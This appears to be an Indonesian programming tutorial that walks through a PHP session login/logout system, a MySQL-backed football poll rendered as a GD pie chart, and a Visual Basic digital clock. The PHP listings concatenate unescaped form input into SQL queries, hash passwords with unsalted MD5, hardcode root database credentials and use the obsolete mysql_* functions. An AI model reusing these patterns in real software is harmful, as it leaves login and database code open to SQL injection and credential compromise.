File login.php tersebut hanyalah form login biasa seperti gambar 4. Parameter ACTION dari tag <FORM> diisi dengan cekpswd.php, karena isian dari form ini akan diperiksa oleh file cekpswd.php.






Listing 6. File cekpswd.php

<?

session_start();

$uname = $_POST['uname'];

$pswd = md5($_POST['pswd']);

$host = "localhost";

$user = "root";

$pwd = "rahasia";

$db = "daftar";

$sql = "select * from anggota where uname='$uname'";

$conn = @mysql_connect($host,$user,$pwd) or

die("Koneksi gagal : " . mysql_error());

mysql_select_db($db);

$qry = mysql_query($sql) or

die("Query salah : " . mysql_error());

$num = mysql_num_rows($qry);

$row = mysql_fetch_array($qry);

if ($num==0 OR $pswd!=$row['pswd']) {

header("Location: sorry.php");

} else {

$_SESSION['login']=1;

header("Location: main.php");

}

?>

File cekpasswd.php digunakan untuk memeriksa username dan password yang dimasukkan pada file login.php. Pada file ini mulai diinisiasi sebuah session. Langkah selanjutnya adalah mencocokkan username dan password dengan record yang terdapat pada database. Jika username dan password itu tidak cocok – bisa usernamenya tidak terdaftar atau passwordnya yang salah – maka skrip tersebut akan mengarahkan langkahnya menuju ke file sorry.php, tapi jika benar maka arahnya akan menuju ke file main.php dan sebuah variabel session diinisiasi. (Pada skrip kita variabel tersebut diberi nama $_SESSION[‘login’]). Yang berfungsi sebagai “pengatur arah” adalah fungsi header(). Fungsi header() akan memberikan output berupa HTTP header yang harus diberikan sebelum ada tag HTML apapun. Itu sebabnya file cekpswd.php hanya terdiri dari skrip php saja dan tidak memiliki tag HTML. (Kalaupun toh ada, itu harus dibawah skrip php yang mengeluarkan HTTP header). Untuk informasi lebih lanjut mengenai HTTP header Anda dapat mengunjungi http://www.w3.org/Protocols/rfc2616/rfc2616. Yang jelas fungsi header() pada skrip kita di atas digunakan untuk redirection, yaitu mengarahkan browser untuk memanggil URL lain. Oleh karena output file cekpswd.php hanya HTTP header saja, maka file ini tidak memiliki “penampakan fisik” pada browser.






Listing 7. File main.php

<?

session_start();

if(!isset($_SESSION['login'])) {

include("login.php");

} else {

?>

<HTML>

<HEAD>

<TITLE> Main Page </TITLE>

</HEAD>

<BODY>

You are successfully logged in <BR>

You can access this application <BR> <BR>

<A HREF="logout.php"> Log Out </A>

</BODY>

</HTML>

<?

}

?>

File main.php adalah file yang akan dipanggil apabila username dan password yang dimasukkan pada halaman login.php berhasil melewati “satpam” cekpswd.php. Lihat gambar 5. File inilah yang nantinya bisa dikembangkan untuk menyusun aplikasi-aplikasi web yang diperuntukkan bagi mereka yang login. Sebelumnya pada bagian awal dari file ini diperiksa terlebih dahulu apakah variabel $_SESSION[‘login’] sudah pernah diinisiasi dengan fungsi isset(). Seandainya belum, itu artinya user yang mengakses halaman main.php belum login. Jika demikian, maka orang tersebut akan “diangkut” menuju ke halaman login.php untuk login terlebih dahulu. Apakah mungkin user yang belum login dapat langsung menuju ke halaman main.php? Mungkin saja apabila ia langsung mengetikkan “http://bla..bla..bla/main.php” di bagian address browser. Oleh karena itu harus diberi “satpam” agar user tersebut tidak main selonong saja.

Jika seandainya aplikasi Anda terdiri dari beberapa halaman, maka pada prinsipnya setiap halaman harus diberi skrip sebagai berikut:

<?

session_start();

if(!isset($_SESSION['login'])) {

include("login.php");

} else {

?>

Di bawah skrip ini baru diberikan tag-tag HTML atau skrip PHP lain yang menyusun aplikasi. Dengan demikian setiap halaman selalu memeriksa apakah variabel session $_SESSION['login'] telah diinisiasi. Jika belum, maka redirection akan beraksi dan “menendang” user untuk kembali ke halaman login.php.






Listing 8. File sorry.php

<HTML>

<HEAD>

<TITLE> Sorry </TITLE>

</HEAD>

<BODY>

Your user name or password is incorrect <BR>

Sorry, you are not allowed to access this page

</BODY>

</HTML>

File ini akan muncul apabila user salah memasukkan username atau password pada halaman login. Lihat gambar 6. User tersebut dapat mengklik tombol back di browser untuk kembali ke halaman login dan memasukkan username dan password yang benar.






Listing 9. File logout.php

<?

session_start();

unset($_SESSION['login']);

session_destroy();

header("Location: login.php");

?>

File ini digunakan untuk melakukan proses logout. Pada file ini variabel $_SESSION['login'] dihilangkan sekaligus bersama dengan sessionnya. Langkah selanjutnya adalah mengarahkan aplikasi ke halaman login.php. Setelah session dihilangkan, maka user harus login lagi untuk dapat mengakses aplikasi tersebut.

Pada dasarnya fungsi header() tidak harus mengarahkan aplikasi ke file login.php. Bisa saja Anda membuat sebuah file lain yang bernama goodbye.php misalnya yang isinya adalah ucapan perpisahan.

Nah, selamat belajar mengembangkan aplikasi dengan menggunakan fitur login/logout.

Membuat Aplikasi Jajak Pendapat Dengan PHP

Akhir-akhir ini aplikasi jajak pendapat cukup marak terdapat di situs-situs internet. Masalah yang diangkat pun bisa beragam, misalnya politik, sosial, budaya, sains, dan lain-lain. Situs-situs yang bernuansa khusus juga seringkali memiliki jajak pendapat sesuai dengan nuansa yang dimilikinya. Misalnya situs sepakbola akan mengangkat jajak pendapat siapa pemain terbaik di suatu liga, situs tentang Linux akan mengangkat jajak pendapat tentang distro apa yang paling favorit, situs handphone akan mengangkat jajak pendapat tentang ringtone favorit, dan masih banyak lagi.

Nah, sekalipun tema yang diangkat bisa bermacam-macam, namun pada dasarnya aplikasi jajak pendapat cukup mudah untuk dibuat. Umumnya aplikasi jajak pendapat hanya terdiri dari 2 halaman saja, yaitu form HTML yang berisi item-item pilihan dan hasil dari jajak pendapat tersebut. Hasil jajak pendapat dapat ditampilkan dengan bantuan HTML biasa atau dengan suatu aplikasi yang dapat menghasilkan gambar-gambar yang menarik sehingga hasil jajak pendapat dapat ditampilkan dalam bentuk pie chart misalnya. Untungnya, PHP juga dapat digunakan untuk menghasilkan gambar.

Aplikasi jajak pendapat yang akan dibahas pada bagian ini nantinya akan memberikan output berupa Pie Chart.

Untuk menyimpan hasil jajak pendapat diperlukan database, sehingga aplikasi ini juga akan menggunakan MySQL.

Aplikasi jajak pendapat yang kita buat kali ini akan mengangkat tema Pemain Terbaik Liga Italia musim kompetisi 2005/2006. Mengapa bukan tema yang berbau komputer? Distro Linux favorit misalnya? Yah, semata-mata hanya untuk “having fun” saja agar otak kita nggak berisi komputer melulu.

Mula-mula kita persiapkan dahulu databasenya. Kita akan buat database baru bernama poll sebuah tabel bernama favplayer yang berisi dua buah kolom yaitu “nama” dan “suara”. Langkah-langkahnya adalah sebagai berikut:

mysql> create database poll;

mysql> use poll

Database changed

mysql> create table favplayer(

-> nama varchar(20),

-> suara int);

Query OK, 0 rows affected (0.05 sec)

Anda juga dapat memanfaatkan phpMyAdmin untuk membuat database di atas.

Sebagai nilai awal kita isikan dahulu beberapa data sebagai berikut:











































NamaSuara
Del Piero101
Totti23
Nedved215
Toni73
Adriano36
Kaka41
Ibrahimovic100
Trezeguet88
Cassano25

Setelah database disiapkan, sekarang kita buat halaman form yang berisi item-item pilihan. Script dari halaman item pilihan diberikan pada listing 1.






Listing 1. Halaman item pilihan

<HTML>

<HEAD>

<TITLE> Jajak Pendapat </TITLE>

</HEAD>

<BODY>

<H1> Jajak Pendapat </H1>

<H2> Pilih pemain terbaik <br>

Liga Italia musim 2005/2006 </H2>

<FORM NAME="poll" METHOD="post" ACTION="result.php">

<?

$host = "localhost";

$user = "myuser";

$pswd = "rahasia";

$conn = @mysql_connect($host,$user,$pswd)

or die("Koneksi gagal: " . mysql_error());

mysql_select_db("poll",$conn);

$strSQL = "select nama from favplayer";

$qry = @mysql_query($strSQL,$conn)

or die("Query salah: " . mysql_error());

while ($row = mysql_fetch_array($qry)) {

?>

<INPUT TYPE="radio" NAME="player" VALUE="<?=$row['nama']?>">

<?=$row['nama']?> <BR>

<?

}

?>

<BR>

<INPUT TYPE="submit" VALUE="VOTE!">

</FORM>

</BODY>

</HTML>

Berilah nama skrip ini dengan polling.php. Jika dijalankan di browser akan nampak seperti gambar 1.

Item-item pilihan yang terdapat pada halaman ini diambil dari record-record pada field “nama” tabel favplayer. Dengan demikian jika isi dari field nama diubah, otomatis item pilihan tersebut akan ikut berubah, sehingga memudahkan Anda untuk berganti tema jajak pendapat.

Jika Anda klik tombol “VOTE!”, maka data-data pada form ini akan diolah di halaman result.php. Nah, isi skrip file result.php diberikan pada listing 2.






Listing 2. Hasil jajak pendapat

<?

Header("Content-Type:image/jpeg");

// --- Koneksi ke MySQL --- //

$host = "localhost";

$user = "root";

$pswd = "";

$player = $_POST['player'];

$conn = @mysql_connect($host,$user,$pswd)

or die("Koneksi gagal: " . mysql_error());

mysql_select_db("poll",$conn);

// --- mengupdate suara --- //

$strSQL = "update favplayer set suara=suara+1 where nama='$player'";

$upd = @mysql_query($strSQL,$conn)

or die("Query salah: " . mysql_error());

// --- Ambil data dari database --- //

$strSQL = "select * from favplayer";

$qry = @mysql_query($strSQL,$conn)

or die("Query salah: " . mysql_error());

// --- menentukan data yang akan dibuat pie chartnya --- //

$i=0;

while ($row=mysql_fetch_array($qry)) {

$data[$i] = $row["suara"];

$str[$i] = "$row[nama]" . " = " . "$row[suara]";

$i++;

}

// --- deklarasi variabel --- //

$total = 0;

$d = array();

$kor_x = array();

$kor_y = array();

$t_x = array();

$t_y = array();

// --- menentukan besar sudut setiap bagian pie --- //

for($j=0;$j<=$i-1;$j++) {

$total += $data[$j];

}

$d[0] = 0;

for($x=1;$x<=$i;$x++) {

$d[$x] = ($data[$x-1]/$total) * 360;

$d[$x] += $d[$x-1];

}

// --- menentukan warna --- //

$img = ImageCreate(700,700);

$warna[0] = ImageColorAllocate($img,0,255,0);

$warna[1] = ImageColorAllocate($img,255,0,0);

$warna[2] = ImageColorAllocate($img,0,0,255);

$warna[3] = ImageColorAllocate($img,255,0,255);

$warna[4] = ImageColorAllocate($img,255,255,0);

$warna[5] = ImageColorAllocate($img,128,128,128);

$warna[6] = ImageColorAllocate($img,255,128,0);

$warna[7] = ImageColorAllocate($img,0,150,255);

$warna[8] = ImageColorAllocate($img,112,0,255);

$warna[9] = ImageColorAllocate($img,128,255,0);

$warna[10] = ImageColorAllocate($img,255,255,255);

$hitam = ImageColorAllocate($img,0,0,0);

$putih = ImageColorAllocate($img,255,255,255);

ImageFill($img,0,0,$putih);

// --- membentuk pie --- //

for($k=1;$k<=$i;$k++) {

// --- menggambar bagian-bagian pie --- //

ImageArc($img,150,150,250,250,$d[$k-1],$d[$k],$hitam);

// --- mencari koordinat batas --- //

$kor_x[$k] = round(150+(125*cos(deg2rad($d[$k-1]))));

$kor_y[$k] = round(150+(125*sin(deg2rad($d[$k-1]))));

// --- mencari titik tengah --- //

$t = round(($d[$k-1]+$d[$k])/2);

$t_x[$k] = round(150+(62.5*cos(deg2rad($t))));

$t_y[$k] = round(150+(62.5*sin(deg2rad($t))));

ImageLine($img,150,150,$kor_x[$k],$kor_y[$k],$hitam);

}

// --- mewarnai bagian pie --- //

// --- sekaligus membuat keterangan --- //

for($k=1;$k<=$i;$k++) {

ImageFillToBorder($img,$t_x[$k],$t_y[$k],$hitam,$warna[$k-1]);

ImageFilledRectangle($img,310,20*$k+50,320,20*$k+60,$warna[$k-1]);

ImageString($img,2,330,20*$k+50,$str[$k-1],$hitam);

}

// --- output gambar -- //

ImageJPEG($img);

?>

Pada dasarnya isi skrip ini adalah menghitung jumlah total suara, kemudian mengambil seluruh data jajak pendapat dari database dan kemudian menampilkannya dalam bentuk pie chart.

Sekarang aplikasi tersebut sudah siap. Jika Anda memberikan suara Anda, maka hasil jajak pendapat akan ditampilkan seperti pada gambar 2.

Anda dapat menambahkan sedikit skrip JavaScript untuk mencegah agar pemilih tidak dapat men-submit form sebelum dia memberikan suaranya.

Membuat Jam Digital Dengan Visual Basic

Program untuk membuat jam digital dengan Visual Basic merupakan program yang relatif sederhana. Hanya diperlukan sebuah form dan beberapa baris pemrograman saja.

Desainlah form seperti terlihat pada gambar 1. Kontrol timer dapat diletakkan di mana saja karena tidak akan terlihat pada saat runtime. Kemudian beberapa kontrol yang ada harus diubah nilai propertinya sesuai dengan tabel berikut:








































KontrolPropertiNilai
FormBorderStyle1 – Fixed Single
CaptionJam Digital
TextBoxNameTxtJam
Text[kosong]
Command ButtonNameCmdExit
CaptionE&xit
TimerInterval1000

Tambahkan kode program ke dalam form tersebut seperti diberikan pada listing 1. Pada prinsipnya, pada saat form di load, teks pada txtJam harus menunjukkan waktu saat itu yang diberikan oleh objek Time. Kemudian setiap interval yang ditentukan pada kontrol Timer, teks pada txtJam juga diupdate sesuai dengan waktu saat itu.

Hasil eksekusi program tersebut terlihat pada gambar 2.






Listing 3. Membuat Jam Digital

Private Sub cmdExit_Click()

End

End Sub

Private Sub Form_Load()

txtJam.Text = Time

End Sub

Private Sub Timer1_Timer()

txtJam.Text = Time

End Sub

Nah, sederhana, bukan?

Selamat Mencoba………………